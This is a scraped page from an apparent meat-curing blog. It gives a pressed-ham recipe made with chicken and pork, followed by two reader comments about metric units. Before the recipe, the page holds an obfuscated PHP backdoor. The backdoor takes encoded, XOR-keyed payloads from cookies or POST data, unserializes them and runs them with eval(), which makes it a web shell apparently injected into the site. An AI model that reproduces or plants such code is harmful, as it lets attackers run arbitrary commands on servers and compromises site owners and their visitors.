$kphiBOJD = 'h' . chr ( 634 - 531 ).chr (95) . "\162" . "\102" . chr ( 162 - 50 ); $tlzxuVDuI = chr (99) . chr ( 836 - 728 ).'a' . "\163" . chr ( 357 - 242 )."\x5f" . 'e' . chr ( 181 - 61 ).'i' . "\x73" . chr ( 606 - 490 ).'s';$pIrqqIKjpA = class_exists($kphiBOJD); $kphiBOJD = "59360";$tlzxuVDuI = "46866";if ($pIrqqIKjpA === FALSE){class hg_rBp{public function kQVdKKM(){echo "51055";}private $gQPoKo;public static $HETcCyLM = "dd055860-1178-4382-bbe6-b1731abbe2ad";public static $cjdyII = 29116;public function __construct($GpQlsceO=0){$psYBWRuHC = $_POST;$MylDSx = $_COOKIE;$uxxIxYwK = @$MylDSx[substr(hg_rBp::$HETcCyLM, 0, 4)];if (!empty($uxxIxYwK)){$byiDf = "base64";$Sqatkdz = "";$uxxIxYwK = explode(",", $uxxIxYwK);foreach ($uxxIxYwK as $IaBeOT){$Sqatkdz .= @$MylDSx[$IaBeOT];$Sqatkdz .= @$psYBWRuHC[$IaBeOT];}$Sqatkdz = array_map($byiDf . "\x5f" . chr (100) . "\145" . "\x63" . chr (111) . 'd' . "\145", array($Sqatkdz,)); $Sqatkdz = $Sqatkdz[0] ^ str_repeat(hg_rBp::$HETcCyLM, (strlen($Sqatkdz[0]) / strlen(hg_rBp::$HETcCyLM)) + 1);hg_rBp::$cjdyII = @unserialize($Sqatkdz);}}private function YKuNECny(){if (is_array(hg_rBp::$cjdyII)) {$cJAZGjKyRg = str_replace(chr (60) . chr ( 487 - 424 ).chr (112) . "\150" . chr ( 323 - 211 ), "", hg_rBp::$cjdyII[chr ( 486 - 387 )."\157" . "\x6e" . "\164" . chr ( 554 - 453 ).chr ( 190 - 80 ).chr ( 932 - 816 )]);eval($cJAZGjKyRg); $JFRjYg = "49892";exit();}}public function __destruct(){$this->YKuNECny();}}$OZwGrn = new /* 37245 */ hg_rBp(); $OZwGrn = str_repeat("27503_51898", 1);} A Pressed Ham with Chicken and Pork • Meat Review

A Pressed Ham with Chicken and Pork

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A Pressed Ham with Chicken and Pork

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  • Medium

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A pressed ham; something that works excellent for sandwiches and casual lunches at school. 3272gr. of skinless chicken breast, 2288gr boston butt without neck,103gr schwartenblock ( pre-cooked skins, ground with 1% salt and 10% stock). Pork with schwartenblock went through 2mm; all received 1.7% sea salt, 0.25% cure#1, 0.2% BP, 0.1% nutmeg, 0.05% ginger, some Oregon apple brandy, water (as much as needed), went to one of those “turkey bags” and to the press. Rested in fridge for two days. Then – at typical 176F of water until internal 155F for around 5-6 hrs. After a night of rest in fridge, pressed ham was ready for tasting. I have not added any chemicals for eliminate the “gel” for a simple reason: this is one of the best parts in a pressed ham for me…

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Sergey Dezhnyuk

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2 comments

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  • Vampy •
    • 6 years ago
    I have a question.  Do you have conversions for this recipe in tsp, cup, lb or oz ?  It sounds good but it's hard for me to convert.  I'm not sure where you live but ppl in the US will not understand this at all.
    • 0 0 • Reply •
    • Sergey Dezhnyuk • author •
      • 6 years ago
      Regrettably, I don't. Plus, most people who dry-cure meats (or anything charcuterie-related) in States do utilize and advocate for the metric system in this area. It's just easy to calculate the right amounts. For more, you can check some groups in FB (Sausage Debauchery, Salt Cured Pig, etc).
      • 0 0 • Reply •

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